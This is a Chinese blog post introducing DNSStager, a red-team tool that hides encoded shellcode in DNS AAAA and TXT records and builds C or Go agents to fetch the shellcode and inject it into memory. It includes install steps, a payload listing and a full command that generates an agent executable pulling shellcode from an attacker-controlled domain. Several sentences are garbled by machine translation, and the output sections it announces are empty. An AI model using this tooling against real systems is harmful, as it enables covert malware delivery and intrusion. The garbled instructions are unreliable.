如何使用DNSStager在DNS中隐藏Payload
作者:admin | 时间:2021-9-10 21:38:14 | 分类:黑客工具 隐藏侧边栏展开侧边栏
关于DNSStager
DNSStager是一个基于Python开发的开源项目,可以帮助大众研究人员DNS来隐藏和传输Payload。
DNSStager可以创建一个恶意的DNS服务器,并集中处理我们域名相关的DNS请求,将Payload隐藏在响应中的指定记录请求中,变成“AAAA”记录或“TXT”记录,而且DNSStager可以使用各种不同的算法来对Payload进行编码。
DNSStager能够基于C或Golang的自定义代理,主要负责解析域名、获取Payload、解码Payload,将其注入至内存中。
我们也可以根据自己需要编辑的DNSStager代理的代码。并使用自定义执行技术来构建代码。
DNSStager的主要目标帮助红队人员或网络测试人员使用DNS作为隐蔽信道来传输Payload。
运行方案
根据你的DNS解析选项,DNSStager对你的Payload进行块,可以分配每一块以子域名响应的形式进行存储。
结果,你选择使用IPv6选项来获取Payload,然后DNS响应将如下所示:
cloud-srv-1.test.mydnsserver.live。300 在 AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
其中的“5648:31d2:6548:8b52:6048:8b52:1848:8b52”就是Payload的一个部分。
因此,代理人将考虑部分市场来获取Payload,然后对其进行解码,最终将其注入至内存中。
当前版本的DNSStage只支持两种记录,即“AAAA”记录和“TXT”记录,你可以使用异或计算来对Payload进行编码(AAAA记录),如果你选择的是TXT记录的话,默认会使用Base64来进行编码。
DNSStage核心功能
在IPv6记录中隐藏和解析Payload;
在TXT记录中隐藏和解析Payload;
使用异或编码器编码Payload;
使用Base64编码器编码Payload;
纯C开发的代理,支持自定义配置;
纯Golang开发的代理,支持自定义配置;
支持在每个DNS请求间隔一定时间;
更多功能即将上线...
工具要求
我们可以使用以下命令来安装 DNSStager 所需的 Python 依赖:
pip3 install -r requirements.txt
我们还需要安装 Golang v1.16.3 环境,并确保安装以下 Golang 包:
golang.org/x/sys
github.com/miekg/dns
还有,还需要安装好ming-w64:
apt 安装 mingw-w64
工具安装
多个研究人员可以使用以下命令项目源码复制至:
git clone https://github.com/mhaskar/DNSStager
接下来,我们还需要使用以下命令安装需要的依赖组件:
pip3 install -r requirements.txt
安装完成之后,我们以root用户执行DNSStager解析如下所示的界面:
┌─[askar@hackbook]─[/opt/redteaming/DNSStager] └──╼ $sudo ./dnsstager.py ██████╗░███╗░░██╗░██████╗░██████╗████████╗░█████╗░ ░██████╗░███████╗██████╗░ ██╔==██╗████╗░██╗░██║██╔====╝██╔===╝╚==██╔==╝██╔==██╗ ██╔====╝░██╔====╝██╔==██╗ ██║░░██║██╔██╗██║╚█████╗░╚█████╗░░░░██║░░░███████║ ██║░░██╗░█████╗░░██████╔╝ ██║░░██║██║╚████║░╚===██╗░╚===██╗░░░██║░░░██╔==██║ ██║░░╚██╗██╔==╝░░██╔==██╗ ██████╔╝██║░╚███║██████╔╝█████╔╝░░░██║░░░██░░██░░░██║ ╚██████╔╝███████╗██║░░██║ ╚=====╝░╚=╝░░╚==╝╚====╝░╚====╝░░░░╚=░░░░░░░=⚕ ░╚=====╝░╚=====╝╚=╝░░╚=╝ 测试版在 DNS 中隐藏您的有效负载 [-] 请使用--domain 指定域名
工具使用
┌─[askar@hackbook]─[/opt/redteaming/DNSStager] └──╼ $sudo ./dnsstager.py -h 用法:dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep 睡眠] DNSStage 主解析器 可选参数: -h, --help 显示此帮助信息并退出 --domain DOMAIN 要用作登台主机的域 --payloads 显示所有有效载荷 --prefix PREFIX 用作子域架构一部分的前缀 --payload PAYLOAD 要使用的有效负载,请参阅 --payloads 了解更多详细信息 --output OUTPUT 代理输出路径 --shellcode_path SHELLCODE_PATH Shellcode文件路径 --xorkey XORKEY XOR 密钥,用于对您的有效负载进行编码 --sleep SLEEP 在每个 DNS 请求之间休眠 N 秒
DNSStage 负载
查看查看可用的DNSStager Payload,我们可以使用“./dnsstager.py --payloads”命令:
┌─[askar@hackbook]─[/opt/redteaming/DNSStager] └──╼ $sudo ./dnsstager.py --payloads [+] 6 个 DNSStage 有效载荷可用 x64/c/ipv6 通过编译的 x64 C 代码将您的负载解析为与自定义密钥异或的 IPV6 地址 x86/c/ipv6 通过编译的 x86 C 代码将您的负载解析为与自定义密钥异或的 IPV6 地址 x64/golang/txt 将您的有效负载解析为使用 base64 编译的 x64 GoLang 代码编码的 TXT 记录 x64/golang/ipv6 通过编译的 x64 GoLang 代码使用字节添加编码将您的负载解析为使用自定义密钥编码的 IPV6 地址 x86/golang/txt 将您的有效负载解析为使用 base64 编译的 x86 GoLang 代码编码的 TXT 记录 x86/golang/ipv6 通过编译的 x86 GoLang 代码使用字节添加编码将您的负载解析为使用自定义密钥编码的 IPV6 地址
DNSStager的IPv6记录使用样例
下面的例子中,我们将使用DNSStager并以IPv6记录作为信道来解析Payload,域名为“test.mydnsserver.live”,前缀为“cloud-srv-”,生成的代理为已编译的“x64 C”,使用了“0x10”作为密钥来进行编码:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
输出结果:
检测检测是否一切正常,可以向“cloud-srv-0.test.mydnsserver.live”发送DNS查询请求:
许可协议
本项目的开发与发布遵循GPL-3.0开源许可证协议。
项目地址
DNSStage:【GitHub 发送门】
参考资料
https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns